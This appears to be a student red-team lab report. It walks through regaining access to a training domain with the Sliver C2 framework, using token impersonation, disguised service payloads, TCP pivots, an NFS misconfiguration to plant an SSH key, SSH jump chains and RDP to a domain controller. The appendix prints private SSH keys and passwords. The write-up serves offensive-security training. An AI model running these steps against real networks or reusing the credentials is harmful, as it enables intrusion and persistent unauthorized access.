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Executive Summary 

Our objective involves regaining access to a previously reachable target network by 

pivoting through shared Linux infrastructure connected to our current environment. We start with 

an Initial Callback (ICB) to our Sliver server, and must identify Linux hosts and move laterally 

using provided credentials. We then reestablish Sliver communication with the domain controller 

and pivot to a workstation to receive a Hypertext Transfer Protocol (HTTPS) callback. All 

operations must use Sliver, with only default Linux commands, preinstalled utilities, and any 

approved tools. The problem concludes once we confirm persistent access to the target domain 

without leaving unauthorized artifacts in the environment. 

The plan assumes the defenders do not power off workstations, ignore benign-looking 

services, and allow active sessions to persist for token impersonation. In our risk, it also accounts 

for the possibility that defenders audit logs and remove malicious binaries. We expect that 

session constraints, such as token invalidation upon logout, limit the time available for privilege 

escalation. These assumptions bound our solution space for the problem [1]. 

To complete our mission, we used our initial callback and shared Linux infrastructure to 

reenter the target network and restore command-and-control (C2) through Sliver. We then 

identify accessible Linux hosts with valid Secure Shell (SSH) credentials, and we use SSH 

Jumps to laterally move. We then authenticated to the domain controller and pivoted to a 

reachable workstation. We established an HTTPS callback to our attack server from the 

reachable workstation and set up a final pivot to our Domain Controller, and regained access to 

the domain. 
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1. Problem Statement 

We must regain access to a previously reachable target network by pivoting through 

shared Linux infrastructure connected to our current environment. Our existing access includes 

Linux workstations that provide access to the target domain. The problem begins on a Sliver 

attack server with an Initial Callback (ICB) over Hypertext Transfer Protocol (HTTPS). We must 

then identify this shared infrastructure and then leverage accessible Linux hosts using provided 

SSH credentials to move laterally. From there, we must reestablish Sliver communication with 

the domain controller at 172.26.4.10 by authenticating as the user helga.  

We must conduct all operations through Sliver. The acceptable tools include default 

Linux commands and any utilities preinstalled on our attack infrastructure, and RDP clients like 

Remmina. Any additional tooling requires explicit approval. The known access points include 

Linux systems at 172.26.4.99 and 172.26.4.26, accessible with the private key assigned to users 

rowena and godric.  

The mission concludes with an HTTPS callback from a workstation in the target network, 

maintaining an active connection to the domain controller. Our infrastructure should receive the 

callback directly and confirm persistence on the domain. We must complete this task without 

leaving unauthorized artifacts or residual beacons in either network. 
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2. Assumptions 

We assume that all machines within the target network will remain powered on 

throughout the operation. This assumption enabled persistent access to target endpoints and 

uninterrupted port forwarding. Any unexpected shutdown or reboot could disrupt tunnels, 

invalidate stolen tokens, or terminate long-running payloads. The success of our lateral 

movement, privilege escalation, and callbacks depends on consistent uptime across critical hosts. 

We assume the defender does not inspect the complexity of our created services. This 

enables service-based payload deployment without immediate detection. We forego symbol 

obfuscation and omit service descriptions [1]. 

Our payloads require an uninterrupted user session. We assume active users with 

permissions exist on the workstations. Logouts or session timeouts may terminate access and kill 

these processes. Our impersonation commands utilize tokens from the user’s running processes 

[1].  

3. Background 

The background information provides an overview of various Windows and Red Team 

terminology [1]. 

3.1 Command and Control (C2) Framework 

A command-and-control framework generates agents that run commands on target hosts 

and relay results to the C2 server. The C2 deploys listeners that accept incoming sessions from 

those agents. Operators queue commands, transfer files, and pivot with agents [1] [2].  
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3.2 Cyber Kill Chain 

In the Cyber Kill Chain, the attacker conducts reconnaissance on hosts, harvests 

credentials, and exploits vulnerable services for local privilege escalation. The attacker uses 

payloads for remote code execution and repeats the cycle on the new host. These steps map 

directly to sections 5.1-5.10 of our solution [1]. 

3.3 Domain Trust 

Trust relationships between domains grant permissions across different domain 

boundaries. Administrators create a forest trust so users in one forest may authenticate in another. 

A one-way trust lets Domain A accept authentication tickets from Domain B while blocking the 

reverse. In a bidirectional trust, both Domain A and Domain B accept authentication tickets from 

each other [1] [2]. 

3.4 Red Teaming 

Red teams model the Cyber Kill Chain to test corporate defenses. The defensive team 

hardens the network based on their findings [1]. 

3.5 Lateral Movement 

Attackers probe adjacent workstations and pivot by reusing stolen credentials. In our 

operation, lateral movement exfiltrates target files and positions us for domain controller 

pivoting [1]. 
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3.6 Privilege Escalation 

Attackers exploit vulnerabilities, such as token impersonation, for privilege escalation. 

We escalate privileges, obtain domain permissions, and pivot between workstations. Using 

Sliver’s impersonate and make-token commands, we perform privilege escalation [1]. 

4. Tools and Techniques 

This section lists every artifact required to replicate the solution, the version tested, and 

the reason we used each technique [1]. 

4.1 Sliver - v1.5.43 

We employ Sliver as our command-and-control platform. Sliver contains a full suite of 

tools for multiple operating systems, along with commands for enumeration and privilege 

escalation. Sliver uses a team server for red team operators. The team server centralises agent 

traffic so multiple operators can issue concurrent commands. It allows for better collaboration 

between attacks [1] [4]. 

4.2 Sliver Armory - Situational Awareness (SA) v0.0.23 

The Sliver Armory contains a repository of tools within Sliver. The Situational awareness 

tool suite aggregates network topologies, running processes, and other host information. We use 

the commands: sa-ipconfig and sa-ldapsearch. The sa-ipconfig provides network information on 

the target machine. We install it with armory install situational-awareness [1]. 
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4.3 Make-Token 

Make-token forges authentication tokens on the Windows machine. The Sliver command 

requires credentials of the user and impersonates them upon success of the command [1]. 

4.4 Execute -o 

The execute -o command allows an attacker to execute PowerShell commands on the 

target system. The command injects directly into cmd.exe without requiring an interactive shell. 

We use this for stealth because a network administrator may notice an open cmd.exe process on 

the system. The -o flag captures the command output from the target machine [1]. 

4.5 LDAP-Search 

LDAP-Search queries Active Directory with precise filters. LDAP queries provide 

insight into the network on the domain, along with trust relationships [5]. Situational awareness’s 

ldap-search filters AD for computers and trust objects, exposing pivot targets [1]. 

4.6 Pivots 

Pivots channel C2 traffic through multiple agents, expanding reach into segmented parts 

of the network during lateral movement. Sliver’s pivots tunnel C2 traffic through an internal 

agent, masking our team-server IP from firewalls [1]. 

4.7 Impersonation 

The impersonate command on Sliver hijacks a user’s token from a running process. The 

token contains the same privileges as that user [1]. 
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4.8 Service Controller (sc) 

The Windows sc command allows for the creation and execution of services. We use the 

command in conjunction with execute -o on the target host. SC allows our payloads to create and 

execute through services [1]. 

4.9 Sliver - Port Forwarding 

Sliver uses its portfwd add command to tunnel traffic through sessions, enabling local 

port binding so that 127.0.0.1:<localport> forwards to a target’s host and port. For example, 

portfwd add --remote 10.10.10.10:22 routes connections into the implant network on 

Sliver. [7]. 

4.10 SSH Tunnels 

SSH tunnels port-forward connections from one machine to another. We forward a local 

port to an internal service using syntax like ssh -L 4444:internal.host:445 

user@jumphost, enabling access to remote resources [8]. 

4.11 SSH Jumps 

SSH jump hosts provide chained connections across segmented networks. Executing ssh 

-J user@jumphost user@finaltarget establishes a path through multiple hosts to reach the 

destination host [8]. 
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4.12 Remmina 

After setting up an SSH or Sliver-forwarded tunnel, we open Remmina, configure it to 

connect to localhost:<forwardedport> using RDP, and interact with the remote desktop session 

[9]. 

4.12 PowerShell (Get-ADComputer) 

PowerShell’s Get‑ADComputer command allows us to retrieve computer objects from 

Active Directory. We run the command Get‑ADComputer ‑Filter * ‑Property Name, 

dnsHostName to list hosts and identify targets for lateral movement and privilege escalation [10] 

[11]. 

4.12 mstsc (Microsoft Terminal Services Client) 

The mstsc executable launches Windows’ built-in RDP client from the command line. 

We create a multi-layered RDP session from Remmina and then mstsc to place our payloads on 

different workstations within the domain [12] [13]. 

5. Problem Solution 

We start by logging into our attack server. In Figure 1, we SSH into student3 with the IP address 

54.162.180.47. 

 
Figure 1. Login into attack server 
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In Figure 2, we then start up our Silver instance on the attack server. 

 

 
Figure 2. Sliver server on attack server 

We then install the situational-awareness toolkit, because we require specific tools such as 

sa-ldapsearch for better enumeration of the Windows machines. In Figure 3, we install 

situational-awareness on Sliver. 

 
Figure 3. Installation of situational awareness toolkit 

 
In Figure 4, we use the https command to set up a listener and get our initial callback onto the 

first Windows box. 

 
Figure 4. 
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In Figure 5, we use the session we received from our initial callback and gained access to the 

Initial Callback (ICB). 

 
Figure 5. Use session for ICB 

In Figure 6, we enumerate the system with pwd to see our starting directory, along with the 

whoami command to see our current user. 

 
Figure 6. Enumeration of directory and current user 

 
We currently have the Token ID to the user NT AUTHORITY\SYSTEM, which provides access 

at the highest level on the local workstation. In Figure 7, we use the info command on Sliver and 

find our current ICB on WKS-5. 
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Figure 7. ICB on WKS-5 

We switch over to the C://Windows//Users directory to find the users on the system. We keep the 

goal in mind that we must pivot through the network and find a user with permissions to laterally 

move. In Figure 8, we begin to enumerate the C://Windows//Users directory and find the ssnape 

user. 

 
Figure 8. ssnape user 

In Figure 9, we do an enumeration of the ssnape user group with the execute -o net users 

ssnape /domain command. The -o flag captures the output from the Windows machine and 
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provides us with the information on Sliver. 

 
Figure 9. ssnape permissions on the domain 

 
We see the ssnape user as a part of the Teachers Global Group membership. We assume that if 

we find other accounts on the domain, specifically, a teacher group may have access to laterally 

pivot onto other workstations. We enumerate processes run by the ssnape user. If the ssnape user 

ran processes, we employ a command to impersonate that user’s permissions. In Figure 10, we 

use the command ps and list the processes running on the workstation. 
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Figure 10. Processes on the workstation 

We see that the ssnape user ran processes on the workstation. Before we impersonate the ssnape 

user, we do further reconnaissance of other users on the domain. In Figure 11, we use the 

command execute -o net users /domain and list the other users on the domain. 
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Figure 11. Users on the domain 

We do further reconnaissance on the workstation. In Figure 12, we use the command execute 

-o net groups /domain and find the other groups available on the domain. 

 
Figure 12. Groups available on the domain 
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We now identify other workstations available on the network to move to laterally. In Figure 13, 

we use the command sa-ldapsearch “(&(objectClass=computer))” name, dnshostname, 

and list the various computers available on the network.  

 
Figure 13. Names and DNS workstations on the WKS domain 
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We identify eleven workstations on the network with their various DNS hostnames. In Figure 14, 

we provide the second domain output cut off from the original image by the same LDAP 

command above. We identify the second domain on the network named DEV. 

 
Figure 14. DEV domain names and DNS hostnames 

We begin to enumerate the IP addresses of the workstations with their hostnames. In Figure 15, 

we use the execute -o nslookup <dNSHostName> command and obtain the IP address of 

Workstations 0 and 1. 
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Figure 15. 

We obtain the IP address 172.25.4.152 for Workstation 0 and the IP address 172.25.4.36 for 

Workstation 1. We proceed to do this for all workstations on the WKS domain. In Table 1, we 

provide the output of all the IP addresses to their respective workstations. 

 

Workstation IP Address 

WKS-0 172.25.5.152 

WKS-1 172.25.4.36 
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WKS-2 172.25.4.24 

WKS-3 172.25.4.10 

WKS-4 172.25.4.34 

WKS-5 (ICB) 172.25.4.12 

WKS-6 172.25.4.53 

WKS-7 172.25.4.14 

WKS-8 172.25.4.19 

WKS-9 172.25.4.6 

WKS-10 172.25.4.29 

WKS-11 172.25.4.46 

Table 1. IP addresses on the WKS domain 

We now start with the enumeration process of the other workstations we identified. When we 

enumerated processes, we found ssnape with a running process. When a user logs in and creates 

a process, an access token generates, and represents the security permissions of that user. Sliver 

provides a built-in command known as impersonate, which duplicates the token belonging to the 

target user and obtains that token through the process. In Figure 16, we use the impersonate 

command and gain ssnape’s permissions. 

 
Figure 16. Impersonation of ssnape user 

In Figure 17, we confirm ourselves as the ssnape user through whoami and begin to enumerate 

the users' directories on the other workstations we identified to find other users. We use the ls 

\\\\<ip>\\c$\\users command and enumerate the workstations available to use with the 

ssnape user. 
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Figure 17. Example enumeration process of various workstations 

We do not identify any users on the .53 workstation. In Figure 18, we further enumerate different 

workstations and discover the rwheasley user on WKS-2. 

 
Figure 18. Discovery of the rweasley user 

In Figure 19, we identify the rweasley user as a part of the Developers group in the domain. We 

assume that the rwheasley user provides more access to the DEV domain we discovered. 
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Figure 19. List of users on the Developers group in the domain 

Now that we have identified the user, we start the lateral movement process onto the workstation 

with the goal of going further through the network. We use a TCP pivot that allows us to 

communicate between the initial ICB and the further agents we drop onto the other workstations. 

In Figure 20, we use the command pivots tcp -b 172.25.4.12 -l 9876 and specify the IP 

address of our attack server with the port, and listen for a callback to our agent. 

 
Figure 20. Creation of tcp pivot listener 

We now create our agent that uses the tcp pivot. We specify the parameters as a windows 

operating system and designate the payload as a service. In Figure 21, we use the command 

generate –tcp-pivot 172.25.4.12:9876 -a amd64 -o windows -l -f service -N 

connhost. 

 
Figure 21. Payload generation of connhost.exe 

We create the payload connhost to blend into the environment with other Windows executables. 
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We proceed to upload the payload onto WKS-2. In Figure 22, we use the upload command to 

upload connhost.exe to the Windows directory. We use the Windows directory because it hosts 

fundamental Windows executables. 

 
Figure 22. Upload of payload to C://Windows directory 

We proceed to do a two-step process for the execution of the payload. We begin with a sc 

create command that creates the specified service with the designated service executable. We 

then use the sc start command with the service name we used. In Figure 23, we provide the 

commands we used for the two-step process. 

 
Figure 23. Two-step execute process for our payload 

We receive our new callback on WKS-2. In FIgure N, we use the new session. 

 
Figure 24. Use of WKS-2 sessions 

In Figure 25, we check for running processes and see the rweasley user with his processes. 
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Figure 25. Processes on WKS-2 

We enumerate the DEV workstations with the nslookup command. In Figure 26, we use 

nslookup on the DEV-0, DEV-1, and DEV-2 workstations.  
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Figure 26. nslookup command on three workstations in the DEV domain 

We use the nslookup command on all the dev workstations we identified previously from our 

initial LDAP search. We identify the following IP addresses with their corresponding 

workstations. In Table 2, we list the workstations and their corresponding IP addresses on the 

DEV domain. 
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Workstation IP Address 

DEV-0 172.25.4.162 

DEV-1 172.25.4.186 

DEV-2 172.25.4.167 

DEV-3 172.25.4.144 

DEV-4 172.25.4.151 

DEV-5 172.25.4.173 

DEV-6 172.25.4.155 

DEV-7 172.25.4.152 

Table 2. DEV workstations and their IP addresses 

In Figure 27, we impersonate the rweasley user on the WKS-2 computer. 

 
Figure 27. Impersonation of rweasley 

We enumerate the other DEV workstations and discover the hpotter user on the DEV-2 

workstation. In Figure 28, we show the enumeration of the Users directory with the identity of 

hpotter. 

 
Figure 28. DEV-2 User Directory listing 
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We identified hpotter as a developer in the previous group listing, and we decided to pivot to the 

DEV domain for further movement through the network. In Figure 29, we set up a new TCP 

pivot listener for port 9875 to the attack server. 

 
Figure 29. TCP pivot listener 

We generate a new payload with the new port named msc-svc.exe. In Figure 30, we proceed to 

do our two-step process of creating and executing the payload as a service. 

 
Figure 30. Creation and Execution of Agent for new Sliver Session 

We get our new callback and do enumeration on the hpotter workstation. In Figure 31, we 

discover the serverinfo.txt in the Desktop directory. 
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Figure 31. serverinfo.txt on hpotter desktop 

We identify the Linux server address as 172.25.4.84. In Figure 32, we do further enumeration 

and discover a key.pem in the documents directory of the hpotter user. We assume that the 

private key in the directory provides access to the Linux server address mentioned. 

 
Figure 32. 

In Figure 33, we download the key.pem with the download command in Sliver. 

 
Figure 33. Download of key.pem 

The current attack server cannot establish an SSH connection to 172.25.4.84. We perform a port 
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forward on Sliver that forwards our attack server’s localhost traffic on port 8080 to the IP 

address we discovered on the SSH port 22. In Figure 34, we use the portfwd add -r 

172.25.4.84:22 command on the hpotter workstation to forward the traffic. 

 
Figure 34. portfwd of our localhost port 8080 to the Linux box on port 22 

In Figure 35, we establish the connection between our attack server and the Linux server address 

with the hpotter user and the credentials we downloaded. 

 
Figure 35. Successful connection to the hpotter Linux box 

In Figure 36, we do an enumeration on the hpotter machine and discover a mounted drive named 

dev_storage. 

 
Figure 36. Identification of the /mnt/dev_storage file share 

In Figure 37, we use the findmnt /mnt/dev_storage command to identify the source IP 

address that provides the mounted network share. 
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Figure 37. IP address source of the mounted file share 

We do further enumeration of the drive and check for any misconfigurations. In Figure 38, we 

identify the mounted dev_storage directory; however, we also identify the /home directory listing 

as well. In Figure 38, we use the showmount -e 172.27.5.210 command. 

 
Figure 38. Misconfigured file share with /home directory on the export list 

We attempt to mount the /home directory to our newly created directory /mnt/home, which 

requires root permissions. We used the sudo -l command as the hpotter user and identified him 

with sudo permissions. In Figure 39, we create our new directory with the command sudo mkdir 

-p /mnt/home, and we mount the /home directory with the command sudo mount -t nfs4 

172.27.4.210:/home /mnt/home. 

 
Figure 39. mounting /home directory to the newly created /mnt/home directory 

In Figure 40, we use ls and discover the dobby user in the home directory. 

 
Figure 40. Discovery of the dobby home directory 

We enumerated the dobby user and found the /home/dobby/.ssh directory. In the directory, it 

contains a file named authorized_keys. When we place a public key in the workstation's 

authorized_keys file, our client can use the matching private key to authenticate and establish an 
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SSH connection without a password. In Figure 41, we show the location of the .ssh directory for 

dobby. 

 
Figure 41. .ssh directory accessible on the dobby user with root 

We begin the creation of our private and public key pair on the attack server machine. In Figure 

42, we generate our key pair with the command ssh-keygen. 

 
Figure 42. Creation of key pair on attack server 
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In Figure 43, we go into our .ssh directory with the newly created key and copy the id_rsa.pub 

key. 

 
Figure 43. 

In Figure 44, we add the copied public key to the authorized_keys folder. 

 
Figure 44. 

We now have our credentials placed on dobby to SSH into the workstation. However, in order for 
the attack server to communicate with the dobby workstation, we must set up an SSH jump 
connection. A SSH proxy jump connection allows us to use our initial hpotter@localhost traffic 
and forward over to dobby and gain access to his machine. We must set up a configuration file 
because we have two separate keys for this instance. We specify the host, port, user, and identity 
files in our config. In Figure 45, we provide our created configuration file in the ~/.ssh/config 
directory on the attack server. 

 
Figure 45. config file placed in the .ssh directory 

In Figure 46, we access our newly configured proxy jump into dobby with the command ssh 
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dobby, which uses the Host <name> parameter to distinguish between the different jumps in the 

config. 

 
Figure 46. ssh into the dobby user on the attack server 

We gain access to the dobby user from our attack server with the configured jump proxy. From 

dobby’s machine, we use the given information provided to us about the Rowena user on the IP 

address 172.26.4.99 from our Matrix_Intel.txt provided in the appendix. In Figure 47, we ping 

rowena’s machine with the ping command. 

 
Figure 47. rowena’s ip address pingable from the dobby workstation 

In Figure 48, we move over the provided crowbeak_ecdsa private key for the rowena 

workstation into our .ssh directory on the attack server. 
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Figure 48. crowbeak_ecdsa placed in our attack server 

In Figure 49, we update our ssh config with the added information for rowena with the previous 

proxy jump from the dobby user. 

 
Figure 49. Updated config with the new rowena workstation configuration 

In Figure 50, we use the command ssh rowena on the attack server and gain access to the rowena 

workstation. 

 
Figure 50. ssh into the rowena workstation 

We use our provided information of Matrix_Intel.txt and attempt to ping the godric workstation 

with the IP address 172.26..4.26 from rowena. In Figure 51, we ping the godric workstation and 

receive a response from the rowena workstation. 
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Figure 51. Traffic of the godric workstation accessible from the rowena workstation 

In Figure 52, we use the information of the godric private key from Matrix_Intel.txt and 

configure the same JumpProxy as previously to the rowena user for the godric user. 

 
Figure 52. Configuration of the ssh config for godric with the direction to the godric private key 

In Figure 53, we use ssh godric and obtain access to the godric workstation. 
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Figure 53. ssh into the godric workstation 

In Figure 54, we attempt to ping the Domain Controller (DC) and receive a response using our 

Matrix_Intel.txt information. 

 
Figure 54. ping from godric machine to DC machine 

We could not SSH into the DC with the IP 172.26.4.10 and the username: helga, with the 

credentials: AllTheOtherHousesAreTooMean@990. In Figure 55, we do a port sweep on the IP 
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with bash and netcat that enumerates ports 22, 80, 135, 139, 445, 3389, 5985, 5986, 8000, 8080, 

and 8443. 

 
Figure 55. ssh into the godric workstation 

In Table 3, we outline the ports identified with their service and status. 

Port Status Common Service  

22 CLOSED_OR_FILTERED SSH (Secure Shell) 

80 CLOSED_OR_FILTERED HTTP (Web) 

135 OPEN MS RPC Endpoint Mapper 

139 OPEN NetBIOS Session Service (legacy SMB) 

445 OPEN SMB (Windows file sharing) 

3389 OPEN RDP (Remote Desktop Protocol) 

5985 OPEN WinRM (HTTP) 

5986 CLOSED_OR_FILTERED WinRM (HTTPS) 

8000 CLOSED_OR_FILTERED Alternate HTTP / App service 

8080 CLOSED_OR_FILTERED Alternate HTTP (Tomcat/Jenkins/etc.) 
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8443 CLOSED_OR_FILTERED Alternate HTTPS (secure app port) 

Table 3. Port status on the DC 

We identify numerous ports in relation to a Windows machine. In Figure 56, we use an SSH 

tunnel command from our attacker server and tunnel our 13389 port into the DC 3389 RDP port. 

 
Figure 56. ssh tunnel our traffic on port 13389 to DC 3389 RDP port 

We then go onto our own machine and tunnel the traffic from the attack box, because the attack 

box does not have an RDP client. In Figure 57, we use the SSH tunnel command to forward our 

13389 RDP traffic over localhost to port 13389 for the attack box. 

 
Figure 57. ssh tunnel our RDP traffic to the attack server 

In Figure 58, we start up Remmina, an interactive GUI RDP client, and give the credentials to 

helga with the server localhost:13389 on our own machine. 

 
Figure 58. Remmina connection to the DC 
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We successfully authenticate to the Windows DC workstation. However, we must now figure a 

way to upload our Sliver payload on the DC. We cannot directly ping the DC from our attack 

server so we look for other workstations available on the DC. In Figure 59, we use the 

Get-ADComputer -filter * -Properties DnsHostname | Select-Object Name, 

DnsHostName command on the DC controller to replicate our LDAP search from the situational 

awareness toolkit. 

 

 
Figure 59. Powershell LDAP for workstations and their hostnames 

We see two workstations available on the domain. In Figure 60, we use nslookup and grab the IP 

address of one of the workstations. 

 
Figure 60. IP Address of WKS-0 with nslookup 

In Figure 61, we ping the 172.26.4.234 address of WKS-0 on the domain from our attack server 

and receive a response. 
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Figure 61. Ping Established from WKS-0 to attack server 

We now generate our new payload to execute on the WKS-0 workstation. Once we execute that 

workstation, we set up a TCP pivot and gain access to the DC. In Figure 62, we generate the 

payload. 

 
Figure 62. Payload generated 

We use the SCP command and copy over our payload to our workstation with the Remmina 

client. We then set up a shared folder in Remmina for the payload. In Figure 63, we show the scp 

command. 

 
Figure 63. SCP payload from attack server to our workstation 

In Figure 64, we then go back into Reminna and send the payload to the Documents folder on the 

DC-1. 
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Figure 64. Send payload to documents folder on DC 

We now have our payload on the DC. We need to establish a connection to WKS-0 with the 

payload. In Figure 65, we use mstsc to create a new RDP connection on the DC to copy over the 

payload. 

 

 
Figure 65. Use mstsc to create RDP connection onto WKS-0 

In Figure 66, we copy over our payload to the WKS-0 machine and run it as an administrator. 

 

 
Figure 66. Run payload as an administrator on WKS-0 

In Figure 67, we establish our session on WKS-0. 
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Figure 67. New Session for WKS-0 

We now must set up a pivot from the WKS-0 workstation to the DC. In Figure 68, we create our 

pivot listener and the agent. 

 

 
Figure 68. Pivot from WKS-0 -> DC 

We go back into Remmina and copy over the pivot executable onto the DC. We then execute our 

payload as an administrator. In Figure 69, we complete our mission and get our final session on 

the DC. 

 

 
Figure 69. Final Session with access to the DC 

We conclude our solution and did not have time to clean up our payloads from the workstations. 
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6. Risk Assessment 

If the assumption that all machines in the target network remain powered on fails, several 

risks occur. A shutdown or reboot of systems, such as a domain controller, pivot host, or 

workstation, could remove our Sliver callbacks and break SSH jump tunnels. Payloads running 

in memory would terminate, and ephemeral credentials or access tokens would disappear, 

forcing us to restart portions of the operation. This disruption leads to a delay in our mission 

objectives.  

We assume defenders skip inspection of the service descriptions. If a security team 

inspects service entries and identifies unusual service names and a lack of descriptions, the team 

terminates our services, removes executables attached to them, and hardens the workstations. 

This reconnaissance disrupts payload deployment and forces us to use more complexity during 

payload creation [1]. 

We assume users maintain interactive sessions and avoid logouts. If users log out or their 

session times out, Windows revokes tokens and terminates orphaned processes. If our token 

impersonation gets removed, we’re forced to reestablish footholds through different active users 

[1]. 
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7. Appendix 

7.1 Matrix_Intel.txt 

Target Network Information: 

 

Known Targets: 

- Secure Linux: 

  IP: 172.26.4.99 

  Username: rowena 

  Credentials:  

    crowbeak_ecdsa ssh private key: 

-----BEGIN OPENSSH PRIVATE KEY----- 

b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAiAAAAB

Nl 

Y2RzYS1zaGEyLW5pc3RwMzg0AAAACG5pc3RwMzg0AAAAYQQSjb5KzpoHMEmNKepD 

6ECj+b5xju3B+w/1Jfh+dPJngVzZU/7eN5citQ4XWjz3b/NU/cscPVe6kMzpew3x 

gOQlinq00wTSLxXjmVhW5DXwX0C5OQmhDOeqK0xjGsnrRgoAAADIrNxCoazcQqEA 

AAATZWNkc2Etc2hhMi1uaXN0cDM4NAAAAAhuaXN0cDM4NAAAAGEEEo2+Ss6aBzBJ 

jSnqQ+hAo/m+cY7twfsP9SX4fnTyZ4Fc2VP+3jeXIrUOF1o892/zVP3LHD1XupDM 

6XsN8YDkJYp6tNME0i8V45lYVuQ18F9AuTkJoQznqitMYxrJ60YKAAAAMAMD/vac 

n9HzWOymrfOvG8zMxpgGVbCcLVbDe2LJOYpByiXzZnYezAkG61lOBjF7EwAAAAA= 

-----END OPENSSH PRIVATE KEY----- 
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- Linux: 

  IP: 172.26.4.26 

  Username: godric 

  Credentials:  

    sphinxwindow_id_ecdsa ssh private key: 

-----BEGIN OPENSSH PRIVATE KEY----- 

b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAiAAAAB

Nl 

Y2RzYS1zaGEyLW5pc3RwMzg0AAAACG5pc3RwMzg0AAAAYQQOvAFKfJDH41HmWafv 

EUidCVJ7i7qQYNtECNdEMKSD0K7M8grN8+Le/XC6+/a1zQ2UNejwqBh4BOj3k0dL 

fA9hvrsE7XfFsDEtMHzzFnYn45SL2EAdWhhBsy1y8yoDk50AAADISsJqPUrCaj0A 

AAATZWNkc2Etc2hhMi1uaXN0cDM4NAAAAAhuaXN0cDM4NAAAAGEEDrwBSnyQx+N

R 

5lmn7xFInQlSe4u6kGDbRAjXRDCkg9CuzPIKzfPi3v1wuvv2tc0NlDXo8KgYeATo 

95NHS3wPYb67BO13xbAxLTB88xZ2J+OUi9hAHVoYQbMtcvMqA5OdAAAAMGEwASao 

fD/YZ9+g5oTh4CphutBvaqFYpM1KrGMF1ztGsoEC1LDBzvteo3NJwMip6AAAAAA= 

-----END OPENSSH PRIVATE KEY----- 

 

 

- DC: 

  IP: 172.26.4.10 

  Username: helga 

  Credentials: AllTheOtherHousesAreTooMean@990 
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- One or more workstations: 

  IP: Unknown 

  Username: Unknown 

  Credentials: Unknown 

 

Attack Infra: 

Attack Server IP: 54.162.180.47 

Attack Server User: student 

Attack Server Password (for sudo): AceLecture2025! 

Attack Server PrivKey (for SSH):  

-----BEGIN OPENSSH PRIVATE KEY----- 

b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAiAAAAB

Nl 

Y2RzYS1zaGEyLW5pc3RwMzg0AAAACG5pc3RwMzg0AAAAYQTRB1plmF7wyglRXl7K 

hM8mHUQrHYfsbOoYoD/ACYBCTu9YYwTmP8qNWCrYf33eXJafYQVCCHZRLyrgrYGM 

RQzShU5YfuWuCOJZShZ1acj/ruMBYJfIJoOizpnwzTP3wfIAAADQKMIkcyjCJHMA 

AAATZWNkc2Etc2hhMi1uaXN0cDM4NAAAAAhuaXN0cDM4NAAAAGEE0QdaZZhe8MoJ 

UV5eyoTPJh1EKx2H7GzqGKA/wAmAQk7vWGME5j/KjVgq2H993lyWn2EFQgh2US8q 

4K2BjEUM0oVOWH7lrgjiWUoWdWnI/67jAWCXyCaDos6Z8M0z98HyAAAAMQCOIX2E 

GF7HbFbr5Fgo/6mQgfNoFRLebC+AC70htgEozDy0pRkJiiFiRA4p2kLnaC4AAAAA 

AQIDBAUGBw== 

-----END OPENSSH PRIVATE KEY----- 
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Notes: 

- The target network shares linux infrastructure with your initial network 

 

Objective: 

- Obtain an HTTPS callback from a workstation in the target network directly back to your sliver 

attack server. 

- HTTPS callback in target network should be actively linked with the DC in the target domain 

- You should retain your access to your ICB 

- You should have no other artifacts/beacons in the networks 
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